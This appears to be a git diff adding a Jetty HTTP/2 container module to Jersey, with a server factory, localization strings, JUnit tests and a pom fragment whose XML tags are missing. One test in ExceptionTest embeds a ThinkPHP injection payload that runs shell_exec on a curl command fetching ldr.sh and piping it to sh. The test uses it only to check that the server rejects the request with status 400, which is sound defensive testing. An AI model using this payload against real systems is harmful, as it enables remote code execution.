+ }
+
+ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ validateJdk();
+ return null; // does not work at JDK lower than 17
+ }
+
+ public static Server createHttp2Server(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+
+ validateJdk();
+ return null; // does not work at JDK lower than 17
+ }
+
+ private static void validateJdk() {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+ }
+ }
+}
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 00000000000..b03f4099600
--- /dev/null
+++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+ private JettyHttp2ContainerFactory() {
+
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri) throws ProcessingException {
+ return createHttp2Server(uri, null, null, true);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createHttp2Server(uri, null,
+ ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ *
+ * @since 2.40
+ */
+
+ public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+ return createHttp2Server(uri, null, null, start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createHttp2Server(uri, null,
+ new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
+ config, parentContext), start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+
+ /**
+ * Creating basic Jetty HTTP/1.1 container (but always not started)
+ */
+ final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+ /**
+ * Obtain configured HTTP connection factory
+ */
+ final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+ final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+ /**
+ * Obtain prepared config
+ */
+ final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+ /**
+ * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+ */
+ final List factories = getConnectionFactories(config, sslContextFactory);
+
+ /**
+ * adding connection factories for H2/H2C protocol
+ */
+ for (final ConnectionFactory factory : factories) {
+ httpServerConnector.addConnectionFactory(factory);
+ }
+ server.setConnectors(new Connector[]{httpServerConnector});
+
+ /**
+ * Starting the server if required
+ */
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ private static List getConnectionFactories(final HttpConfiguration config,
+ final SslContextFactory.Server sslContextFactory) {
+ final List factories = new ArrayList<>();
+ if (sslContextFactory != null) {
+ factories.add(new HTTP2ServerConnectionFactory(config));
+ final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+ alpn.setDefaultProtocol("h2");
+ factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+ factories.add(alpn);
+ } else {
+ factories.add(new HTTP2CServerConnectionFactory(config));
+ }
+
+ return factories;
+ }
+}
diff --git a/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
new file mode 100644
index 00000000000..4d2a88dd127
--- /dev/null
+++ b/containers/jetty-http2/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.ContainerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.http2.JettyHttp2ContainerProvider
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
new file mode 100644
index 00000000000..ba290bd84e5
--- /dev/null
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -0,0 +1,19 @@
+#
+# Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+#
+# This program and the accompanying materials are made available under the
+# terms of the Eclipse Public License v. 2.0, which is available at
+# http://www.eclipse.org/legal/epl-2.0.
+#
+# This Source Code may also be made available under the following Secondary
+# Licenses when the conditions for such availability set forth in the
+# Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+# version 2 with the GNU Classpath Exception, which is available at
+# https://www.gnu.org/software/classpath/license.html.
+#
+# SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+#
+
+# {0} - status code; {1} - status reason message
+error.when.creating.server=Exception thrown when trying to create jetty server.
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
new file mode 100644
index 00000000000..d3a68a83f4b
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.net.URI;
+import java.security.AccessController;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.AfterEach;
+
+/**
+ * Abstract Jetty Server unit tester.
+ *
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Miroslav Fuksa
+ */
+public abstract class AbstractJettyServerTester {
+
+ private static final Logger LOGGER = Logger.getLogger(AbstractJettyServerTester.class.getName());
+
+ public static final String CONTEXT = "";
+ private static final int DEFAULT_PORT = 0; // rather Jetty choose than 9998
+
+ /**
+ * Get the port to be used for test application deployments.
+ *
+ * @return The HTTP port of the URI
+ */
+ protected final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+
+ try {
+ final int i = Integer.parseInt(value);
+ if (i <= 0) {
+ throw new NumberFormatException("Value not positive.");
+ }
+ return i;
+ } catch (NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid positive integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+ return DEFAULT_PORT;
+ }
+
+ private final int getPort(RuntimeType runtimeType) {
+ switch (runtimeType) {
+ case SERVER:
+ return getPort();
+ case CLIENT:
+ return server.getURI().getPort();
+ default:
+ throw new IllegalStateException("Unexpected runtime type");
+ }
+ }
+
+ private volatile Server server;
+
+ public UriBuilder getUri() {
+ return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
+ }
+
+ public void startServer(Class>... resources) {
+ ResourceConfig config = new ResourceConfig(resources);
+ config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+ final URI baseUri = getBaseUri();
+ server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public void startServer(ResourceConfig config) {
+ final URI baseUri = getBaseUri();
+ server = JettyHttp2ContainerFactory.createHttp2Server(baseUri, config, true);
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ }
+
+ public URI getBaseUri() {
+ return UriBuilder.fromUri("http://localhost/").port(getPort(RuntimeType.SERVER)).build();
+ }
+
+ public void stopServer() {
+ try {
+ server.stop();
+ server = null;
+ LOGGER.log(Level.INFO, "Jetty-http server stopped.");
+ } catch (Exception e) {
+ throw new RuntimeException(e);
+ }
+ }
+
+ @AfterEach
+ public void tearDown() {
+ if (server != null) {
+ stopServer();
+ }
+ }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
new file mode 100644
index 00000000000..7828d9b79e2
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.concurrent.atomic.AtomicInteger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.container.AsyncResponse;
+import jakarta.ws.rs.container.Suspended;
+import jakarta.ws.rs.container.TimeoutHandler;
+import jakarta.ws.rs.core.Response;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ * @author Michal Gajdos
+ */
+public class AsyncTest extends AbstractJettyServerTester {
+
+ @Path("/async")
+ public static class AsyncResource {
+
+ public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
+
+ @GET
+ public void asyncGet(@Suspended final AsyncResponse asyncResponse) {
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 5 seconds, simulated using sleep()
+ try {
+ Thread.sleep(5000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("timeout")
+ public void asyncGetWithTimeout(@Suspended final AsyncResponse asyncResponse) {
+ asyncResponse.setTimeoutHandler(new TimeoutHandler() {
+
+ @Override
+ public void handleTimeout(final AsyncResponse asyncResponse) {
+ asyncResponse.resume(Response.status(Response.Status.SERVICE_UNAVAILABLE).entity("Operation time out.")
+ .build());
+ }
+ });
+ asyncResponse.setTimeout(3, TimeUnit.SECONDS);
+
+ new Thread(new Runnable() {
+
+ @Override
+ public void run() {
+ final String result = veryExpensiveOperation();
+ asyncResponse.resume(result);
+ }
+
+ private String veryExpensiveOperation() {
+ // ... very expensive operation that typically finishes within 10 seconds, simulated using sleep()
+ try {
+ Thread.sleep(7000);
+ } catch (final InterruptedException e) {
+ // ignore
+ }
+ return "DONE";
+ }
+ }).start();
+ }
+
+ @GET
+ @Path("multiple-invocations")
+ public void asyncMultipleInvocations(@Suspended final AsyncResponse asyncResponse) {
+ INVOCATION_COUNT.incrementAndGet();
+
+ new Thread(new Runnable() {
+ @Override
+ public void run() {
+ asyncResponse.resume("OK");
+ }
+ }).start();
+ }
+ }
+
+ private Client client;
+
+ @BeforeEach
+ public void setUp() throws Exception {
+ startServer(AsyncResource.class);
+ client = ClientBuilder.newClient();
+ }
+
+ @Override
+ @AfterEach
+ public void tearDown() {
+ super.tearDown();
+ client = null;
+ }
+
+ @Test
+ public void testAsyncGet() throws ExecutionException, InterruptedException {
+ final Future responseFuture = client.target(getUri().path("/async")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+ // get() waits for the response
+ assertEquals("DONE", response.readEntity(String.class));
+ }
+
+ @Test
+ public void testAsyncGetWithTimeout() throws ExecutionException, InterruptedException, TimeoutException {
+ final Future responseFuture = client.target(getUri().path("/async/timeout")).request().async().get();
+ // Request is being processed asynchronously.
+ final Response response = responseFuture.get();
+
+ // get() waits for the response
+ assertEquals(503, response.getStatus());
+ assertEquals("Operation time out.", response.readEntity(String.class));
+ }
+
+ /**
+ * JERSEY-2616 reproducer. Make sure resource method is only invoked once per one request.
+ */
+ @Test
+ public void testAsyncMultipleInvocations() throws Exception {
+ final Response response = client.target(getUri().path("/async/multiple-invocations")).request().get();
+
+ assertThat(AsyncResource.INVOCATION_COUNT.get(), is(1));
+
+ assertThat(response.getStatus(), is(200));
+ assertThat(response.readEntity(String.class), is("OK"));
+ }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
new file mode 100644
index 00000000000..60e086bc717
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/ExceptionTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.apache.http.HttpHost;
+import org.apache.http.client.methods.CloseableHttpResponse;
+import org.apache.http.impl.client.CloseableHttpClient;
+import org.apache.http.impl.client.HttpClientBuilder;
+import org.apache.http.message.BasicHttpRequest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import java.io.IOException;
+import java.net.URI;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author Paul Sandoz
+ */
+public class ExceptionTest extends AbstractJettyServerTester {
+ @Path("{status}")
+ public static class ExceptionResource {
+ @GET
+ public String get(@PathParam("status") int status) {
+ throw new WebApplicationException(status);
+ }
+
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalSymbolsInURI() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ String incorrectFragment = "/v1/abcdefgh/abcde/abcdef/abc/a/%3Fs=/Index/\\x5Cthink\\x5Capp/invokefunction"
+ + "&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=curl+--user-agent+curl_tp5+http://127.0"
+ + ".0.1/ldr.sh|sh";
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri + incorrectFragment);
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCodeForIllegalHeaderValue() throws IOException {
+ startServer(ExceptionResource.class);
+ URI testUri = getUri().build();
+ BasicHttpRequest request = new BasicHttpRequest("GET", testUri.toString() + "/400");
+ request.addHeader("X-Forwarded-Host", "_foo.com");
+ CloseableHttpClient client = HttpClientBuilder.create().build();
+
+ CloseableHttpResponse response = client.execute(new HttpHost(testUri.getHost(), testUri.getPort()), request);
+
+ assertEquals(400, response.getStatusLine().getStatusCode());
+ }
+
+ @Test
+ public void test400StatusCode() throws IOException {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("400").build());
+ assertEquals(400, r.request().get(Response.class).getStatus());
+ }
+
+ @Test
+ public void test500StatusCode() {
+ startServer(ExceptionResource.class);
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("500").build());
+
+ assertEquals(500, r.request().get(Response.class).getStatus());
+ }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
new file mode 100644
index 00000000000..93ae01fac7f
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/LifecycleListenerTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.spi.AbstractContainerLifecycleListener;
+import org.glassfish.jersey.server.spi.Container;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Response;
+
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+
+/**
+ * Reload and ContainerLifecycleListener support test.
+ *
+ * @author Paul Sandoz
+ * @author Marek Potociar
+ */
+public class LifecycleListenerTest extends AbstractJettyServerTester {
+
+ @Path("/one")
+ public static class One {
+ @GET
+ public String get() {
+ return "one";
+ }
+ }
+
+ @Path("/two")
+ public static class Two {
+ @GET
+ public String get() {
+ return "two";
+ }
+ }
+
+ public static class Reloader extends AbstractContainerLifecycleListener {
+ Container container;
+
+ public void reload(ResourceConfig newConfig) {
+ container.reload(newConfig);
+ }
+
+ public void reload() {
+ container.reload();
+ }
+
+ @Override
+ public void onStartup(Container container) {
+ this.container = container;
+ }
+
+ }
+
+ @Test
+ public void testReload() {
+ final ResourceConfig rc = new ResourceConfig(One.class);
+
+ Reloader reloader = new Reloader();
+ rc.registerInstances(reloader);
+
+ startServer(rc);
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals(404, r.path("two").request().get(Response.class).getStatus());
+
+ // add Two resource
+ reloader.reload(new ResourceConfig(One.class, Two.class));
+
+ assertEquals("one", r.path("one").request().get(String.class));
+ assertEquals("two", r.path("two").request().get(String.class));
+ }
+
+ static class StartStopListener extends AbstractContainerLifecycleListener {
+ volatile boolean started;
+ volatile boolean stopped;
+
+ @Override
+ public void onStartup(Container container) {
+ started = true;
+ }
+
+ @Override
+ public void onShutdown(Container container) {
+ stopped = true;
+ }
+ }
+
+ @Test
+ public void testStartupShutdownHooks() {
+ final StartStopListener listener = new StartStopListener();
+
+ startServer(new ResourceConfig(One.class).register(listener));
+
+ Client client = ClientBuilder.newClient();
+ WebTarget r = client.target(getUri().path("/").build());
+
+ assertThat(r.path("one").request().get(String.class), equalTo("one"));
+ assertThat(r.path("two").request().get(Response.class).getStatus(), equalTo(404));
+
+ stopServer();
+
+ assertTrue(listener.started, "ContainerLifecycleListener.onStartup has not been called.");
+ assertTrue(listener.stopped, "ContainerLifecycleListener.onShutdown has not been called.");
+ }
+}
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
new file mode 100644
index 00000000000..3e7a8ac4c16
--- /dev/null
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/OptionsTest.java
@@ -0,0 +1,62 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Response;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+public class OptionsTest extends AbstractJettyServerTester {
+
+ @Path("helloworld")
+ public static class HelloWorldResource {
+ public static final String CLICHED_MESSAGE = "Hello World!";
+
+ @GET
+ @Produces("text/plain")
+ public String getHello() {
+ return CLICHED_MESSAGE;
+ }
+ }
+
+ @Test
+ public void testFooBarOptions() {
+ startServer(HelloWorldResource.class);
+ Client client = ClientBuilder.newClient();
+ Response response = client.target(getUri()).path("helloworld").request().header("Accept", "foo/bar").options();
+ assertEquals(200, response.getStatus());
+ final String allowHeader = response.getHeaderString("Allow");
+ _checkAllowContent(allowHeader);
+ assertEquals(0, response.getLength());
+ assertEquals("foo/bar", response.getMediaType().toString());
+ }
+
+ private void _checkAllowContent(final String content) {
+ assertTrue(content.contains("GET"));
+ assertTrue(content.contains("HEAD"));
+ assertTrue(content.contains("OPTIONS"));
+ }
+
+}
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index 62d7adc8a32..1f3c4db6c37 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -1,7 +1,7 @@
+ target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class
+
+ [11,17)
+
+
+
+
+ org.apache.felix
+ maven-bundle-plugin
+ true
+ true
+
+
+ true
+
+
+
+
+ org.apache.maven.plugins
+ maven-resources-plugin
+ true
+
+
+ copy-jdk17-classes
+ prepare-package
+
+ copy-resources
+
+
+ ${java11.build.outputDirectory}/classes/META-INF/versions/17
+
+
+ ${java17.build.outputDirectory}/classes
+
+
+
+
+
+
+
+ org.apache.maven.plugins
+ maven-antrun-plugin
+
+
+ copy-jdk17-sources
+ package
+
+
+
+ sources-jar: ${sources-jar}
+
+
+
+
+
+
+ run
+
+
+
+
+
+
+
+
+
